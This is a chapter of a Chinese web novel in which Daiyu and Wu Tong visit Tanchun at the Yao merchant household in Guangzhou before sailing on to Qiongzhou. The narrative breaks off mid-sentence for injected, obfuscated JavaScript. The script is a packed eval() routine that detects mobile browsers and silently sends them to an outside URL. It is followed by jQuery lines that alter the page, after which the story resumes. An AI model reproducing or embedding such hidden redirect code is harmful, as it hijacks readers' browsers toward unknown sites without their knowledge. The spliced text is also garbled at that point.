米花白 作品

26.姚家

之后的行程快了许多,宝船仅在泉州港靠岸了两日,补给后又航行数日,终于耗时一个半月,在濠镜靠岸。甄士隐一家留守码头看家,四人坐着马车向广州府而去。


“三妹妹也不知道过得怎么样?”林黛玉眼睛亮晶晶的,为即将见到探春而兴奋。探春嫁的商家,正是在粤海这边做海盐生意的姚家,据称是广州城最大的盐商。当初迎娶探春,正是看中了贾家和薛家的权势,以探春的手段,想来应该过得不差。


出来时是三月,现在已经快五月了。广州的街头,凤凰花开得正艳,整棵树像一颗巨大的火球,耀眼夺目。


与京城不同,广州的宅子屋脊多是圆润的凸字形,不仅屋脊上有神兽,就是中间的横梁,也都雕满了奇形怪状的兽首。房子多是两层,身着常服的男女,在茶楼悠闲地品着茶点。


马车在一处灰砖宅院前停下,宅院正门不大,仅能供马车通过。不像国公府,还分正门和角门,商人门户低,大门仅有国公府的角门一般大。


早有姚家的内外管家迎出来,林如海和柳琼被带去迎客厅,邬桐和林黛玉随着内管家进入深宅。不同于京城宽敞的四合院,广州府的宅院更狭长,也多是二层的建筑,面积虽不大,房间却是足够的。


早在朝廷任命出来后,邸报就刊登了柳琼将赴琼州任县令的消息。探春嫁过来快半年了,听到消息后第一次流了泪。她在姚家的日子并不难过,公婆不敢太苛责她,毕竟要靠她维系跟国公府和薛家的关系。丈夫也小意殷勤,虽有侍妾闹心,但她就是庶出,自然也不奢望男人会只有她一个。可妯娌就有些不省心了。


探春嫁的是嫡次子。长嫂是婆母的娘家侄女,婆媳关系更亲厚,且长嫂虽出身商户,但自小也是锦衣玉食的长大,对出身比她好的亲妯娌很有几分不喜,处处想压探春一头。又害怕探春跟她抢管家权,时刻提防,探春去给婆母请安时,每次都是探春前脚到,她后脚就跟来了。


女人给女人添堵的方式,无非就是那些,什么让婆婆赐几个得脸的大丫头给二弟啦,什么二弟妹嫁过来半年还没身孕,为二弟着想,探春想也知道亲大嫂会怎么跟婆婆说。


探春在国公府都没吃过亏,会怕一个没脑子的妯娌?没几次,只要婆婆给次子房里塞人,过不了两日就会有另两个大丫头不知怎么爬上了大爷的床。吃过两次亏后,眼高手低的大嫂才不敢太过分。


但明显是个记吃不记打的,这不,邬桐和林黛玉刚坐下,这大嫂就阴阳上了:“哎呦,不愧是前一品大员家的千金,这气韵我们就是拍马也不及的。只是不知怎么会去琼州岛那鸟不拉屎的地方?你们不知,那岛上除了流放的囚犯,就剩当地的黎人了,汉人都不去的。毒蛇毒虫的,可是会要人命的。尤其是这天越来越热了,那毒物就更猖狂了,你们可得当心。”


邬桐扫了一眼探春,见她一身正红石榴裙,此时粉面含煞,并没有忍耐的神色,就知道在家里并没有一味的受气,这才几不可见地摇摇头,笑眯眯地回怼:“这位大婶是?我和妹妹初来乍到的,刚坐下,探春妹妹还没介绍呢,您就开口了,实在不知您是哪位长辈?”


话音还没落,那妯娌就气红了脸,指着邬桐说不出话。为了今日能落弟妹的脸,她可是特意打扮过的,鲜绿的长裙上绣着一圈儿凤凰花,头上更是插满了珠翠,远看就跟那卖糖葫芦的麦垛似的,林黛玉一见就低头忍笑,此时肩膀还一颤一颤地。


邬桐满脸的不可思议:“这不知者不罪的道理姚家都不知道?我好心好意问你是谁,你就是这般教养,指着人的鼻子说话?家父虽已致仕,承蒙太上皇厚爱,恩赐了直笔上书的特权,身边还有太上皇派来的护卫,特意让家父把在琼州看到的听到的如实告知。多谢这位大婶的提醒,回家就告诉家父,看看这毒虫毒蛇的如何应对。”


“阿沅,不得无理。”正中四十多岁的妇人急忙开口,肤色偏暗沉,狭长的眼睛眯着,脸上并没有多少笑容。虽然开口训斥了长媳,但对邬桐的不给面子也十分生气,又忌惮邬桐口中的特权,嗔怪道,“贾夫人见笑了,这是我家那不长进的嫡长媳,你该叫一声嫂嫂才是。枫哥儿媳妇,快让人上茶果点心,不可慢待了客人。”


一个媳妇称呼阿沅,另一个就是枫哥儿媳妇,邬桐轻笑一声,虽不知道阿沅和这妇人的关系,但肯定是娘家那边嫁过来的无疑了,否则这个年代,很少有婆婆这么善待儿媳的:“探春妹妹别忙了,凭它什么好东西,我们没吃过没见过。我和妹妹好不容易来看你,正该坐着说话才是。”


探春抿嘴儿笑笑:“桐姐姐还是这般直爽。”说着起身开始介绍几个妯娌,姚家娶妻的儿子只有三个,探春排行第二,下面有一个庶弟媳,人员并不复杂。


那庶弟媳缩着肩膀,一副乖巧小媳妇儿的样。邬桐眼神眯了眯,这个婆婆不是个善茬啊。


探春笑笑,也不解释,邬桐就明白了,婆婆再厉害,探春有手段制服就行。


日后在琼州的经营少不得商家的支持,邬桐想了想,干脆直接帮探春一把,悄悄发动异能,让出言嘲讽的嫡长媳和维护阿沅的婆婆病几日,也不多,半年足矣。四肢瘫软,浑身无力,偏大夫查不出来的那种。相信半年足够让探春掌家了。到时有探春协助,琼州的事物肯定会顺利许多。


果不其然,不等晚食,那婆媳二人就已有些症候,派下人来告饶,只说身子不舒坦,晚餐就不作陪了。


探春挥退下人,黛玉才急忙开口:“三妹妹,你到底如何?可不能瞒我,你那婆婆是不是欺负你了?”


探春不在意地笑笑:“傻话,婆婆又不是亲娘,欺负欺负也是正常的。放心,我不是那好性儿的,她还奈何不得我。”


邬桐见探春脸上还带着婴儿肥,却已比黛玉沉稳许多。初见时神采飞扬,见之忘俗,如今眉梢却已染上了愁绪。探春此时也才十二三岁吧,亏得小小年纪就这么稳得住。


邬桐也不多说什么,只拿出从京城带来的几罐子酱菜,笑着介绍:“知道你肯定想家里的味道了。这是来的时候,琏二嫂子让捎着的,说是你在家极爱这个味儿的。”


“亏她想着我。”探春红了眼眶,用手帕擦擦眼角道,“难为你们这么千里迢迢地带了来。多住几日吧,广州这里有几道餐食,虽没京里精致,却也鲜美异常。这几日我带你们尝尝,也尽一尽地主之谊。”


邬桐抚掌笑道:“那感情好。探春妹妹谦虚了,路上我们可听人说了,什么吃在广府,笨想着也不会只有几道餐食吧?探春妹


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243723|163788||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


妹可不能小气,不吃上十道八道的,我可不依。”


“三妹妹别理姐姐,自打成了亲,和凤姐姐走得愈发近了,这性子也像了个十成十。凤姐姐是凤辣子,桐姐姐就是桐辣子了。”林黛玉说完抿着嘴儿笑个不住。


几人说说笑笑,不觉就到了晚间。因探春年纪小,还未和丈夫圆房,晚间三人倒是和衣而眠,直聊了一夜。第二日一早,邬桐陪着去了知府衙门,黛玉在家陪探春。


姚家是当地大族,昨夜来了客人的消息知府第二日就知道了,兼有林如海陪同,广州知府虽是四品官,也不敢放肆。且琼州那种地方,能有人去他就烧高香了,又怎么会为难,很顺利地就办好了手续。


后宅更是没什么风波,知府太太全程像个菩萨一样,疏离地笑着,话都没说几句。如果说柳琼作为官员,还可能会到广州知府衙门汇报工作。那邬桐这个县令太太,很有可能任期内都不会再来广州,何必费心思去结交呢。


马车回到姚家时,刚好碰上内管家送两位大夫出门,隔着车帘,只听到什么“怕不是装病”的嘀咕声,邬桐低头轻笑。


内管家见到几人的马车,忙迎进内院,众人在姚家住了三日,尝过了曾经名噪京师的邬家蛇羹、广府茶点、荔枝等鲜果后才离开。


来时仅两辆马车,走时却多了一辆,姚家大郎知道媳妇不积口德,得罪了林家大小姐,特意多送了些礼物以表歉意。


探春泪眼濛濛,拉着黛玉的手直嘱咐:“有空了就来看我,琼州离这里又不远,我有空了也去看你们,别忘了。”


依依惜别了半个时辰,才再次登船,三天后的凌晨,终于到达了琼州岛。


白沙津港口,又称神应港,是琼州最大的港口之一。宝船停靠后,柳琼看到宝船旁边停靠的其余船只,一个个比官造的宝船还大,挑挑眉:“看来之前广州知府上折子说禁海,只怕是被人蒙蔽了吧,这哪里像禁海的样子。”


邬桐不理他的牢骚,和林黛玉一左一右扶着林如海下船。刚上岸,就有脚夫上前兜揽生意,一个个浑身黑黝黝的,统一的装扮,白色麻布短衫,下身是黑色粗布裤子,脖子上再搭一个粗布汗巾子,料想是码头漕帮的制式。


柳琼随手指了一个长得老实的,问道:“可有租借马车的地方?”


“有,有。”那脚夫忙不迭地点头,手在身后摆摆,呼啦啦上来十几个粗壮的汉子,随着前头的脚夫点头哈腰,脚夫赔笑道,“贵人放心,我们帮着您把行李都搬到车马店里,正好您租车,我们再顺手给您装车,岂不便宜?”


柳琼看这些人虽都不高,眼神却灵活,生得也壮实,不是那木呆呆的老实人,遂摆摆手让家丁领着人去搬行李了。


车马店离码头不远,因是独家生意,店里人着实不少。柳琼租了三十辆马车,光装车就花了半个时辰。


琼州岛本来是没有马的,还是流放过来的官员带来的马,才让岛上第一次出现了马这种生物。但岛上气候炎热,并不适合马的生长繁殖,岛上的马儿都是外来的。这个店家能在码头开车马店,背后之人在岛上不说是数一数二的豪富之家吧,也必是有些权势的。


等终于出发到达县城时,日头已经升到正中了,而府衙前却空无一人。